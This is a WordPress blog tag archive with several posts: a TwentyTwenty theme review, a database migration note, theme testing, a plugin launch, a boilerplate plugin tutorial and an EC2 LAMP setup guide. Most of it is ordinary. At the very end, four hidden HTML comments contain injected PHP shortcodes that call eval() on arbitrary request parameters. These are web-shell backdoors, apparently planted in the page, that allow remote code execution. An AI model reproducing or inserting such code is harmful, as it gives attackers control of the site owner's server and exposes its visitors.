Tag: Wordpress

Categories
Create A Blog Software Engineering

WordPress TwentyTwenty Theme vs. Other WordPress Themes

Why WordPress TwentyTwenty Is Still the Best Default WordPress Theme in 2022

WordPress TwentyTwenty Theme: A Review

As a long-time WordPress user, I have had the opportunity to try out a wide variety of themes over the years. From the sleek and modern to the downright quirky, I’ve seen it all. But recently, I had the chance to try out the all the latest WordPress themes and in the end I picked on: TwentyTwenty. And I have to say, I liked it. I liked it enough I chose it for this blog!

I know it is the theme from 2020 and this article is from 2022, but let’s talk a little about the simplicity of the theme, why 2020 was a standout year for mobile first design, and how that ended up impacting the quality of TwentyTwenty on a technical level.

Why is TwentyTwenty a Standout Theme?

The typeface choices and mobile-centric design of the WordPress TwentyTwenty theme are the first year the theme was so simplistic that the text was front and center. It makes for a great blog. The background color not being a hard white also helps it go easy on the eyes, a trend with darkmode and things that were really made popular in 2020.

Is the TwentyTwenty Theme Easy to Use?

First and foremost, the TwentyTwenty theme is incredibly user-friendly. Setting it up on my WordPress site was a breeze, and I was able to customize it to my liking easily. The default color scheme looks nice. Additionally, the theme is fully responsive, which means that it looks great on any device, from desktop computers to smartphones.

But don’t let the ease of use fool you – the TwentyTwenty theme is packed with powerful features that make it a great choice for any website. For starters, the theme offers a wide range of customization options. From changing the layout of your site to adjusting the font and color scheme, there’s almost nothing you can’t change with this theme. Additionally, the theme includes a variety of built-in widgets that make it easy to add extra functionality to your site, such as social media buttons, search bars, and more.

Why Is It Superior?

One of the standout features of the TwentyTwenty theme is its support for block-based editing. With this feature, you can easily create beautiful, complex layouts for your website without any coding knowledge. Simply add blocks for text, images, videos, and more, and then arrange them however you like. This makes it easy to create unique and engaging content for your site, and the results are truly impressive.

Most WordPress themes support this but the TwentyTwenty theme was the first year that the simplicity of the design really allowed the block editing to stand out and shine. If the design is simple and straightforward the blocks always work well.

Choosing a Default WordPress Theme Has Perks

Another great thing about the TwentyTwenty theme is its support for a wide range of plugins. Whether you want to add an e-commerce store to your site, a contact form, or a social media feed, you can easily do so with the help of a plugin. This means that you can add almost any type of functionality to your site, without the need for any technical knowledge. The simplicity of the design means most plugins will look OK out of the box.

What Makes This Different Than Other Themes?

Very specifically in 2020 the TwentyTwenty theme was the first theme that did an excellent job stripping down the WordPress block components into big, bold, simple design elements. This was because of a focus on mobile but it ended up making the theme a lot less complex than TwentyNineteen or TwentySeventeen, (both popular themes). The TwentyTwentyone and TwentyTwentytwo themes both expanded on the original Twentytwenty design concepts, offering alternate layouts and ultimately in 2022 a lot more complexity reminiscent of the 2019 theme.

Any Downsides or Negative Things About TwentyTwenty?

There are a few things that are a little weird. For example the default site title does not include the site title written in text, I had to add that ,it was just trying to use the image logo. Strange. I also thought that the index page was a little intense. I ended up toning down the title font size and rearranging things on the title page to make all the articles fit a little bit better. I recommend turning on using article summaries or your homepage will become a massively long scroll.

TwentyTwenty Theme: Is It Worth It?

Overall, I was extremely impressed with the WordPress TwentyTwenty theme. It’s user-friendly, customizable, and packed with powerful features. Whether you’re a beginner or a seasoned pro, I highly recommend giving it a try.

Categories
Create A Blog Software Engineering

SUCCESS! Old WordPress Articles Are on the New WordPress Blog!

Just as the title describes I managed to import all of the old WordPress articles in to the new WordPress blog! This is great news because Google had been annoying me with emails about how I was missing the articles. They must have been really popular!

How Did I Do It ???

All I had from the previous blog was a MySQL dump of the database. This made it a little difficult because I couldn’t see a visual reference of the old blog. I ended up importing the old database dump in to a new database on the same MySQL database server.

After that I wrote a custom PHP script which connected to the old database (made from the dump) that then selected any published posts and looped through to gather their categories and tags then inserted them in to the new blog’s database. I think it went pretty well!

If I get some requests for it I can post my PHP script on Github but I think there are probably more useful tools out there for backing up and exporting a WordPress blog it was just quick and easy for me to make a script. I highly recommend using the explicit Export and Import feature already built in to WordPress

Categories
Create A Blog

WordPress Themes – Testing New Themes & Pardon the Mess

Original Under Construction GIF, Animated Image ofRoad Sign of Person Shoveling
The Original Under Construction GIF From the early Internet in the 1990's

As part of moving this blog and setting it up again I’m testing various WordPress themes. Please pardon the mess and the visual intensity as I adjust a few things.

Review of PopularFX Website Templates WordPress Themes

I initially started with the base selection offered by default to a new Bluehost hosting account and selected a very nice WordPress theme and from the “PopularFX Website Templates” plugin.

The PopularFX Website Templates does have some very nice WordPress themes and a lot of them are structured to fit specific small business or small website verticals and that could be really helpful for a lot of people. I also enjoyed how those themes used some really nice improvements on the content blocks for things like the WordPress index page.

The WordPress theme I chose also prompted me to download some temporary stock photos to fill out the design and it has some warnings about the licensing of the images it wanted to download. I didn’t want those images so I chose not to download the stock photos and images. The theme I chose looked *really* nice in the sample but ended up being very plain when I tested it and applied it to my website. That was a little disappointing that it did not look as good with fake stock graphics.

I also got in to the Theme Files editor for that particular PopularFX Website Template WordPress theme and I found that the PopularFX Website Templates theme files themselves were laid out in a very straightforward and clear file structure. The files themselves had simple naming convections and followed most of the best practices and common file locations. The more complex PHP functions and methods, including things like content tags, were easily found and edited and the code itself was concise.

I Didn’t Try Pagelayer

The new Bluehost WordPress hosting came bundled with a plugin called “Pagelayer” which I have not yet tried 🙁 Sorry Pagelayer. As a software engineer I prefer a more hands on approach to complex layouts for blog articles and pages so that I can control the HTML, Javascript, and CSS. I disabled the Pagelayer plugin.

I eventually wanted a more simple WordPress theme and started activating and deactivating the themes.

Activating, Deactivating, Changing or Switching WordPress Themes

It is very easy to change or switch themes in WordPress, go to “Appearance” and then click on “Themes”. Hover over any theme and click “Activate”.

Default WordPress Theme Review

I tried a number of different themes looking for something that would easily & tastefully fit a few of the existing WordPress posts I already have. I tried all of the default WordPress themes from “Twenty Fifteen” all the way up to “Twenty Twenty Three”

As of the time of writing this article I disabled PopularFX Website Templates and I have currently chosen the default WordPress theme of “Twenty Twenty” because I like the look of the <hr> and I also like how the <code> tag style looks inline. I am not a fan of how that style looks when broken up in blocks. The previous iteration of this blog used WordPress 2015 (yikes!) so I also have had good experience with the longevity of the built-in WordPress themes. Once I pick a permanent WordPress theme for this blog I probably will not want to change it for many years.

WordPress Themes and Better Styling of Code Blocks

I will probably be looking for a better CSS solution for WordPress themes with multi-line code blocks.

The Internet’s Original Under Construction GIF

If you are looking for the original “Under Construction” GIF from the early days of the Internet in the 1990’s here it is. The Original Under Construction GIF From the early Internet in the (the GIF of a person shoveling on a yellow sign):

Original Under Construction GIF, Animated Image ofRoad Sign of Person Shoveling

New WordPress Plugin is Live! Check out Domain Check

Just Launched a WordPress Plugin: Domain Check!

One of the reasons this blog has been lagging behind in awesome content is because its been building up a backlog of awesome content until this moment because Domain Check has launched! Domain Check is a WordPress plugin born of my own needs from years of working at web companies. You have no idea how complicated it gets when you have multiple, possibly hundreds of, domains and SSL certificates all coming up for renewal with various internal properties and clients and what’s parked and what shouldn’t be renewed… you get the idea. There’s no comprehensive tool out there for managing your domains within your WordPress admin, so Domain Check was created.

Domain Check Features

A quick overview of Domain Check is basically that you can have a quick display of all your domain names and SSL certificates and easily what’s coming up for renewal or expiration and make sure multiple people are getting alerts. Its a bit of a pain in the butt to set up multiple email alerts for expiration across multiple registrars and SSL certificate providers, especially when dealing with domains or certs provided by clients. Domain Check also keeps a list of what you’re searching so you can see you favorite domains that are available if you aren’t buying your domain name today.

Fresh Coupons and Coupon Codes Delivered Daily

One of the highlight features of Domain Check is the daily coupon delivery. No more searching for coupons and finding they don’t work or going to shady coupon sites searching for a deal. Every day the latest coupons and deals are updated a delivered directly to you. There is finally no excuse for not using coupons! (Something I am guilty of my admins have to remind me of all the time)

Domain Check is an Official WordPress.org Plugin

Yes, it is true, Domain Check is an official WordPress plugin! You can download the latest version from WordPress to manage all of your domains and SSL certificates and easily keep the latest version up-to-date. Use your WordPress blog as a dashboard for managing your domains and make sure

WordPress Plugin Development Is Intense

Given How Deep WordPress Plugins Go, Its Basically A Whole App Store

The amount framework and the depth of plugin development make WordPress a natural choice. That’s why I’m shamelessly running on it. But it turns out all the serious business code that helps everyone do everything so easily is actually pretty complicated to work with. You need to understand the hook and action stack, how good plugins structure their code, the release process, the upgrade process, and the various types of store marketing. There is a whole world full of oceans of WordPress. Its crazy intense. Working in Silicon Valley or some other kickass tech startup its really easy to forget the size of these small markets are actually pretty enormous and the tools are not as simple as it may seem.

Where To Start With WordPress Plugin Development?

Create a directory in the /wp-content/plugins directory. Don’t be a rookie, only use lowercase letters, numbers, and dashes. That means don’t use caps, spaces, or weird special characters. Create a PHP file in that directory with the same name. Add some comments to the top:

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/

Make a class, name the class your plugin’s name. Overload the constructor. Instantiate the class after the declaration. Create a public method in the class called admin_menu. In the constructor you’ll hook in to WordPress. WordPress lets you specify functions you want called after their core code runs specific functions. Its like throwing an event but basically they just keep an list of you functions and call them after they do something. Look for add_action() and you’ll see you can get your functions called after plugin activation, plugin deactivation, you can add things to admin menu, etc.

Copy and Paste My Boring Example WordPress Plugin

<?php

/*
Plugin Name: Boring Example Plugin
Plugin URI: http://www.boringexampleplugin.com/
Description: This plugin is like eating cardboard.
Version: 0.1
Author: Nowayne Hel
Author URI: http://www.boringplugindeveloper.com/
*/
class BoringExamplePlugin {

//constructor for wp-plugin object
public function __construct() {

//activate
register_activation_hook(__FILE__, array($this, 'activate_plugin'));

//deactivate, (this will delete db tables, wp-plugin options, etc.) 
register_deactivation_hook(__FILE__, array($this, 'deactivate_plugin')); 

//actions
add_action('init', array($this, 'init'));
add_action('plugins_loaded', array($this, 'plugins_loaded'));

}

//when your plugins gets activated
public function activate_plugin() {}
 
//when you get deactivated :-(
public function deactivate_plugin() {}

//every time WordPress loads & ur active
public function init() {}

//after plugins are loaded
public function plugins_loaded() {}

}

new BoringExamplePlugin();

?>

You could read their docs or you could look at this garbage plugin and other, classier free plugins. Your choice but if you’re a good programmer you’ll probably look at some other free plugins. Sorry for the shitty formatting and honestly who knows if this compiles I wrote it in a freaking WYIWYG editor bruh.

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>